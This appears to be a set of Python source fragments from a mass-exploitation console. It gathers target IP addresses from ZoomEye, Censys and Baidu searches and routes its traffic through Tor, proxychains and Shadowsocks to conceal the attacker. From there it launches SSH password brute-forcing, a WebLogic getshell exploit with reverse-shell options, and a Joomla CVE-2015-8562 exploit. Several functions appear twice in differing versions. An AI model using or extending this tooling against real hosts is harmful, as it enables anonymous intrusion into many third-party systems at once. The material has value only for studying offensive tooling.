def login(self): ''' login using given username and password ''' data = {'username': self.user, 'password': self.passwd} data_encoded = json.dumps(data) try: r_post = requests.post(url='https://api.zoomeye.org/user/login', data=data_encoded, timeout=30) r_decoded = json.loads(r_post.text) return r_decoded['access_token'] except requests.exceptions.RequestException as exc: console.print_error(f"Login error: request failed: {exc}") return "" except KeyError: console.print_error( f"Login error: {r_post.status_code}: {r_post.text}") return "" except KeyboardInterrupt: return "" except BaseException: console.debug_except()
def dynamic_proxy(self, target_ip): """ request a random proxy from proxy_pool, then use it on top of Tor, via proxychains4 all config files are stored temporarily under /dev/shm target_ip: different proxy per target, thus target_ip distinguishes different config files return: True when pool is usable False when pool is unavailable see https://github.com/jhao104/proxy_pool """ if self.proxy_pool_api == "": console.print_error( "[-] proxy_pool not configured, type `set proxy-pool` to configure") return False if shutil.which("proxychains4") is None: console.print_error("[-] proxychains4 not found") return False try: resp = requests.get( self.proxy_pool_api, timeout=10) proxy_addr = resp.json()['proxy'] except requests.RequestException as exc: console.print_warning(f"[-] Error: {exc}") return False except KeyError: return False except BaseException as exc: console.print_warning( f"[-] Error: cannot read proxy: {resp.text}\nException: {exc}") return False proxy_addr = proxy_addr.split('://')[-1] proxy_host = proxy_addr.split(':')[0] proxy_port = proxy_addr.split(':')[1] template = f'''strict_chain quiet_mode # proxy_dns remote_dns_subnet 224 tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks5 127.0.0.1 9050 socks4 {proxy_host} {proxy_port}\n''' try: with open(f"/dev/shm/{target_ip}.conf", "w+") as conff: conff.write(template) conff.close() except BaseException: return False return True
def main(): ''' handles user interface ''' colors.colored_print("[*] Default target list is ./data/ip_list.txt", colors.CYAN) SESSION.ip_list = SESSION.init_dir + '/data/ip_list.txt' futil.write_file(text=f"{os.getpid()}", filepath=SESSION.pidfile) while True: try: if os.getcwd() != core.MECROOT: os.chdir(core.MECROOT) input_cmd = rlinit.prompt(session=SESSION) try: cmd.cmd_handler(SESSION, input_cmd) except (KeyboardInterrupt, EOFError, SystemExit): sys.exit(0) except FileNotFoundError: console.print_error(f"[-] {core.MECROOT} not found???") sys.exit(1) except KeyboardInterrupt: answ = console.yes_no("\n[?] Are you sure to exit?") if answ: futil.check_kill_process('ss-proxy') sys.exit(0) else: continue
def ssh_bruteforcer(session): ''' bruteforce one target using a password list ''' colors.colored_print('\n[*] Welcome to SSH bruteforcer', colors.BLUE) password_list = console.input_check( "[*] Password list file to use (put them under ./data): ", allow_blank=False, choices=glob.glob(core.MECROOT+"/data/*.txt")) if not os.path.isfile(password_list): console.print_error("[-] Password list not found") return None # command to exec command = console.input_check("[*] Command to exec: ", allow_blank=False) # args list exploit = 'ssh_bruteforce.py' work_path = '/ssh-bruteforce/' exec_path = exploit custom_args = ["-p", password_list, "-c", command] jobs = 100 # start scanner return core.Scanner(work_path, exec_path, custom_args, jobs, session)
def ssh_bruteforcer(): ''' call single thread ssh_bruteforcer ''' password_list = console.input_check( "[*] Password list file to use: ", allow_blank=False) if not os.path.isfile(password_list): console.print_error("[-] Password list not found") return [] # command to exec command = console.input_check("[*] Command to exec: ", allow_blank=False) # args list exploit = 'ssh_bruteforce.py' work_path = '/ssh-bruteforce/' exec_path = exploit custom_args = str(password_list + ' ' + command).split() jobs = 100 print(colors.BLUE + '[*] Your exploit will be executed like\n' + colors.END, 'proxychains4 -q -f proxy.conf {} {} -t <target ip>'.format(exec_path, ' '.join(custom_args))) # start scanner scanner_args = console.ScannerArgs(work_path, exec_path, custom_args, jobs) return scanner_args
def run_info(**kwargs): """ mec status """ session = kwargs.get("session", None) if session is None: console.print_error("[-] info: session not exist") return # update via user config file session.read_config() if session.shadowsocks.is_usable(): session.proxy_status = "OK" colors.colored_print( f''' session ------- [*] Auto-Update: {session.auto_update} [*] Current directory: {os.getcwd()} [*] Root directory: {session.init_dir} [*] Log file: {session.logfile} [*] Target: {session.ip_list} proxy ----- [*] Shadowsocks config: {session.shadowsocks.ss_url} [*] Shadowsocks local port: {session.shadowsocks.local_port} [*] Shadowsocks connectivity: {session.proxy_status} ''', colors.CYAN)
def run(): ''' start mec ''' try: os.system('clear') if not os.path.isdir(core.MECROOT): try: # copy mec data from /usr/share, if installed via BlackArch package shutil.copytree("/usr/share/massexpconsole", core.MECROOT) except FileNotFoundError: pass except BaseException: console.debug_except() os.chdir(core.MECROOT) console.print_banner(ver=core.get_version(), exp_cnt=len(futil.list_exp())) main() except (EOFError, KeyboardInterrupt, SystemExit): console.print_error('[-] Exiting...') except FileNotFoundError: console.debug_except() sys.exit(1) except BaseException: console.print_error( "[-] Seems like you've encountered an unhandled exception") console.debug_except()
def crawler(qery, page, headers): ''' fetch result from zoomeye ''' if ZoomEyeAPI.SEARCH_TYPE == 'h': url = 'https://api.zoomeye.org/host/search?query=' + \ qery + \ '&facet=app,os&page=' + \ str(page) else: # for web service search url = 'https://api.zoomeye.org/web/search?query=' + \ qery + \ '&facet=app,os&page=' + \ str(page) # get result try: r_get = requests.get(url=url, headers=headers, timeout=20) r_decoded = json.loads(r_get.text) except BaseException as exc: return f"crawler failed: {exc}" # returns error message if r_get.status_code != 200: err = "" if 'error' in r_get.text: try: err = r_decoded['message'] except KeyError: err = r_decoded['err'] if err != "": return err return "Non-200 return code from ZoomEye API" for item in r_decoded['matches']: try: if ZoomEyeAPI.SEARCH_TYPE == 'h': ip = item['ip'] port = str(item['portinfo']['port']) save_str_to_file(ZoomEyeAPI.OUTFILE, ip + ":" + port) else: # web service search, saves url instead save_str_to_file(ZoomEyeAPI.OUTFILE, item['webapp'][0]['url']) except KeyError: console.print_error("Looks like ZoomEye API has changed") console.debug_except() except BaseException: console.print_error("Unknown error:") console.debug_except() return ""
def login_and_crawl(): ''' get verified with zoomeye, and start thread pool for crawling ''' amnt = int( console.input_check( "[*] How many pages to crawl? (10 IPs on each page) ", check_type=int).strip()) threads = [] api = ZoomEyeAPI('conf/zoomeye.conf') try: print(colors.BLUE + '[*] Crawling fetched pages from ZoomEye...' + colors.END) access_token = api.login() headers = { 'Authorization': 'JWT ' + access_token, } except TypeError: console.print_error('[-] Invalid access token') return # test if we have permission to zoomeye api test_crawl = crawler(ZoomEyeAPI.QRY, 1, headers) if test_crawl is not None and test_crawl != '': console.print_error(test_crawl) return from multiprocessing import Process status = Process(target=progress, args=(ZoomEyeAPI.OUTFILE, )) status.start() limit = 0 for page in range(1, int(amnt)): thd = threading.Thread(target=crawler, args=( ZoomEyeAPI.QRY, page, headers, )) threads.append(thd) try: for job in threads: job.setDaemon(True) job.start() if limit in (0, 10): limit = 0 job.join() limit += 1 except (EOFError, KeyboardInterrupt, SystemExit): status.terminate() return else: pass # stop progress monitoring when we are done status.terminate()
def weblogic(): ''' with reverse shell ''' print(colors.BLUE + '\n[*] Welcome to Weblogic getshell exploit' + colors.END) server_port = console.input_check( "[?] What's the port of Welogic server? ", check_type=int) os_type = console.input_check( '[?] Windows or Linux? [w/l] ', choices=['w', 'l']) if console.input_check('[?] Do you need a reverse shell? [y/n] ', choices=['y', 'n']) == 'y': shell_server = console.input_check( '[?] What\'s the IP of shell receiver? ', allow_blank=False, ip_check=True) port = console.input_check( '[?] What\'s the port of shell receiver? ', check_type=int) if os_type.lower() == 'w': custom_args = '-l {} -p {} -P {} --silent -T '.format( shell_server, port, server_port) +\ 'reverse_shell -os win' custom_args = custom_args.split() elif os_type.lower() == 'l': custom_args = '-l {} -p {} -P {} --silent -T '.format( shell_server, port, server_port) +\ 'reverse_shell -os linux' custom_args = custom_args.split() else: console.print_error('[-] Invalid input') return [] else: cmd = console.input_check( '[?] What command do you want to execute on the target? ', allow_blank=False).strip() if os_type.lower() == 'w': custom_args = '-P {} --silent -T exploit -c {} -os win'.format( server_port, cmd).split() elif os_type.lower() == 'l': custom_args = '-P {} --silent -T exploit -c {} -os linux'.format( server_port, cmd).split() else: return [] # start scanner exploit = 'weblogic.py' work_path = '/weblogic/' exec_path = exploit jobs = 100 # waitTime = 25 # deprecated scanner_args = console.ScannerArgs(work_path, exec_path, custom_args, jobs) return scanner_args
def __init__(self): try: self.key = json.loads( open(f"{MECROOT}/conf/censys.conf", "r").read()) except FileNotFoundError: print_error("[-] Censys: config file not found\n") return self.search_api = "https://censys.io/api/v1/search/ipv4" self.account_api = "https://censys.io/api/v1/account"
def run(): ''' start mec ''' try: print(console.INTRO) main() except (EOFError, KeyboardInterrupt, SystemExit): console.print_error('[-] Exiting...') else: console.print_error( "[-] Seems like you\'ve encountered an unhandled exception") debug_except()
def __init__(self, conf): try: cred_file = open(conf) for line in cred_file: line = line.strip() if line.startswith('user'): self.user = line.split(':')[1] elif line.startswith('password'): self.passwd = line.split(':')[1] except FileNotFoundError: console.print_error('[-] Please look into zoomeye.conf first') else: pass
def test_proxy(self): """ test the proxychain """ if not self.dynamic_proxy("test"): return False if shutil.which("curl") is None: console.print_error("[-] curl not found") return False # read HTTP proxy proxy_addr = "" with open("/dev/shm/test.conf") as testf: lines = testf.readlines() for line in lines: line_split = line.split() if line_split[0] == "socks4": proxy_addr = f"{line_split[1]}:{line_split[2]}" if proxy_addr == "": return False try: out = subprocess.check_output( args=["proxychains4", "-q", "-f", "/dev/shm/test.conf", "curl", "-w", '%{http_code}', "-o", "/dev/null", "http://1.1.1.1", "-s"], stderr=subprocess.STDOUT, timeout=20) except subprocess.CalledProcessError: return False except BaseException: return False status_code = out.decode("utf-8").strip() try: int(status_code) if status_code != '000': return True except ValueError: pass return False
def search_hosts(self, query, page): data = {'query': query, 'page': page, 'feilds': "ip,protocols"} hosts = [] results_list = self.make_request(self.search_api, data) if "error" in results_list.keys(): print_error(results_list['error']) return hosts for host in results_list['results']: hosts.append((str(host['ip']) + ":" + str(host['protocols'][0].split("/")[0]))) return hosts
def run_target(**kwargs): """ Change target list """ session = kwargs.get("session") target = kwargs.get("args")[0] if target not in os.listdir(session.init_dir + '/data'): console.print_error("[-] Target file not found") return colors.colored_print('[i] Target changed to {}'.format(target), colors.BLUE) session.ip_list = session.init_dir + \ '/data/' + target
def query_account(self): resp = self.make_request(self.account_api, "") if "error" in resp.keys(): print_error(resp['error']) return "" name = resp["email"] used = resp['quota']['used'] resets_at = resp['quota']['resets_at'] allowance = resp['quota']['allowance'] return f"[*] Welcome {name}, you have used {used} of {allowance}," +\ f"the limit resets at {resets_at}"
def run_google(**kwargs): """ Search via google """ dork = kwargs.get("args")[0] try: # well yes im a lazy guy subprocess.call(['./exploits/joomla/joomlaCVE-2015-8562.py', '--dork', dork, '--revshell=\'127.0.0.1\'', '--port=4444']) except BaseException as err: console.print_error(str(err)) console.debug_except()
def run_check(res): res['tor_status'] = "DISCONNECTED" if check_tor(): res['tor_status'] = "OK" if session is None: console.print_error("[-] info: session not exist") return # check proxy chain res['proxy_status'] = "DISCONNECTED" if session.test_proxy(): res['proxy_status'] = "OK"
def start_ss_proxy(self): ''' go-shadowsocks2 -c 'ss://*****:*****@[server_address]:8488' \ -verbose -socks :1080 -u ''' try: subprocess.Popen([ self.ss_bin, '-c', self.ss_url, '-socks', f':{self.local_port}', '-u' ], stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=False) except BaseException as err: console.print_error('[-] Error starting Shadowsocks proxy: ' + str(err)) console.debug_except()
def __init__(self, conf): try: cred_file = open(conf).read().split('\n') for line in cred_file: line = line.strip() if line.startswith('user'): self.user = line.split(':')[1] elif line.startswith('password'): self.passwd = line.split(':')[1] else: if line != '': console.print_error( '[-] Please make sure zoomeye.conf is valid:\n' + line) sys.exit(1) except FileNotFoundError: console.print_error('[-] Please look into zoomeye.conf first') else: pass
def progress(target_file): ''' display progress ''' l_count = 0 if not os.path.exists(target_file): os.system('touch {}'.format(target_file)) while True: try: l_count = sum(1 for line in open(target_file)) sys.stdout.write(colors.CYAN + '\r[+] Found ' + str(l_count) + ' hosts' + colors.END) sys.stdout.flush() time.sleep(.5) except KeyboardInterrupt: console.print_error("^C")
def run_target(**kwargs): """ Change target list """ session = kwargs.get("session") try: target = kwargs.get("args")[0] except IndexError: console.print_error("[-] What target?") return if target not in os.listdir(session.init_dir + '/data'): console.print_error(f"[-] Target list file '{target}' not found") return colors.colored_print( '[i] Target list changed to {}'.format(target), colors.BLUE) session.ip_list = session.init_dir + \ '/data/' + target
def cmd_handler(session, user_cmd): ''' handles user input in console ''' if user_cmd == '': return # parse user_cmd try: split_cmd = str(user_cmd).lower().strip().split() user_cmd = split_cmd[0] args = split_cmd[1:] except IndexError: console.print_error("[-] ???") return # COMMANDS cmds_init(session) cmd_obj = COMMANDS.get(user_cmd, None) # aliases if cmd_obj is None: for _, percmd in COMMANDS.items(): if user_cmd in percmd.names: cmd_obj = percmd if cmd_obj is not None: cmd_obj.run(args) return # shell command try: shellcmd = ' '.join(split_cmd) print( colors.BLUE + colors.BOLD + "[*] Exec: " + colors.END, colors.PURPLE + shellcmd, colors.END) os.system(shellcmd) except (EOFError, KeyboardInterrupt, SystemExit): return
def run_masscan(**kwargs): """ run masscan external tool, mass scale internet scanner """ session = kwargs.get("session", None) # check root, as masscan requires root privilege if not session.is_root: console.print_error( "[-] Please run mec as root in order to run masscan") return ports = console.input_check( "[?] What ports do you want to scan (eg. 80 443)? ").split() try: scan.masscan(ports) except KeyboardInterrupt: console.print_warning("[-] masscan exited")
def run_exploits(**kwargs): """ List all usable exploits """ do_print = kwargs.get("do_print", True) exp_list = futil.list_exp() if len(exp_list) == 0: console.print_error("[-] No exploits found") if console.yes_no("[?] Perhaps you need to check `info`?"): run_info(session=kwargs.get("session")) if not do_print: return exp_list colors.colored_print(f"[+] {len(exp_list)} available exploits: ", colors.CYAN) for poc in exp_list: colors.colored_print(poc, colors.BLUE) return None
def run_set(**kwargs): """ set mec config, you can write whatever opt:val you like """ session = kwargs.get("session", None) if session is None: console.print_error("[-] session not exist") return try: opt = kwargs.get("args")[0] val = kwargs.get("args")[1] except IndexError: console.print_error("[-] Set what?") return # read old configs new_config_lines = [] if os.path.isfile(session.config_file): for line in open(session.config_file).readlines(): line = line.strip().lower() if line.startswith(opt): continue new_config_lines.append(line) new_setting = f"{opt}: {val}" if len(new_config_lines) == 0: new_setting = f"{opt}: {val}\n" new_config_lines.append(new_setting) futil.write_file(text='\n'.join(new_config_lines), filepath=session.config_file, append=True) session.read_config() console.print_success(f"[+] {opt} has been set to {val}")
def test_proxy(self): """ test the proxychain """ if not self.dynamic_proxy("test"): return False if shutil.which("curl") is None: console.print_error("[-] curl not found") return False # read HTTP proxy proxy_addr = "" with open("/dev/shm/test.conf") as testf: lines = testf.readlines() for line in lines: line_split = line.split() if line_split[0] == "socks4": proxy_addr = f"{line_split[1]}:{line_split[2]}" if proxy_addr == "": return False try: out = subprocess.check_output( args=["proxychains4", "-f", "/dev/shm/test.conf", "curl", "https://baidu.com"], stderr=subprocess.STDOUT, timeout=20) except BaseException: return False if "<html>" in out.decode('utf-8').lower(): return True return False
def run_baidu(**kwargs): """ Search via m.baidu.com """ session = kwargs.get("session") command = kwargs.get("args") try: dork = command[0] count = int(command[1]) os.chdir(session.out_dir) colors.colored_print('[*] Searching on Baidu...', colors.PURPLE) baidu.spider(dork, count) if console.yes_no("\n[?] Use collected URLs as target?"): session.ip_list = session.out_dir + "/result.txt" except (EOFError, KeyboardInterrupt, SystemExit): console.print_warning("[-] Interrupted") return except BaseException as exc: console.print_error(f"[-] Error: {exc}") console.debug_except()
def make_request(self, api_url, data): ret = {} # response in JSON format try: if data != "": data_encoded = json.dumps(data) results = requests.post(url=api_url, data=data_encoded, auth=(self.key['uid'], self.key['sec'])) else: results = requests.get(url=api_url, auth=(self.key['uid'], self.key['sec'])) ret = json.loads(results.text) if results.status_code != 200: try: if ret['status'] == "error": print_error("[-] Censys: " + ret['error']) ret = {'error': "Known error"} except KeyError: print_error(f"[-] Censys: Unknown error: {results.text}") ret = {'error': "Unknown"} except KeyError: print_error("[-] Censys: API error") ret = {'error': "API"} except requests.exceptions.RequestException as exc: print_error(f"[-] Censys: request failed: {exc}") ret = {'error': exc} except BaseException: print_error("[-] Oops something went wrong.") ret = {'error': "debug_except"} debug_except() return ret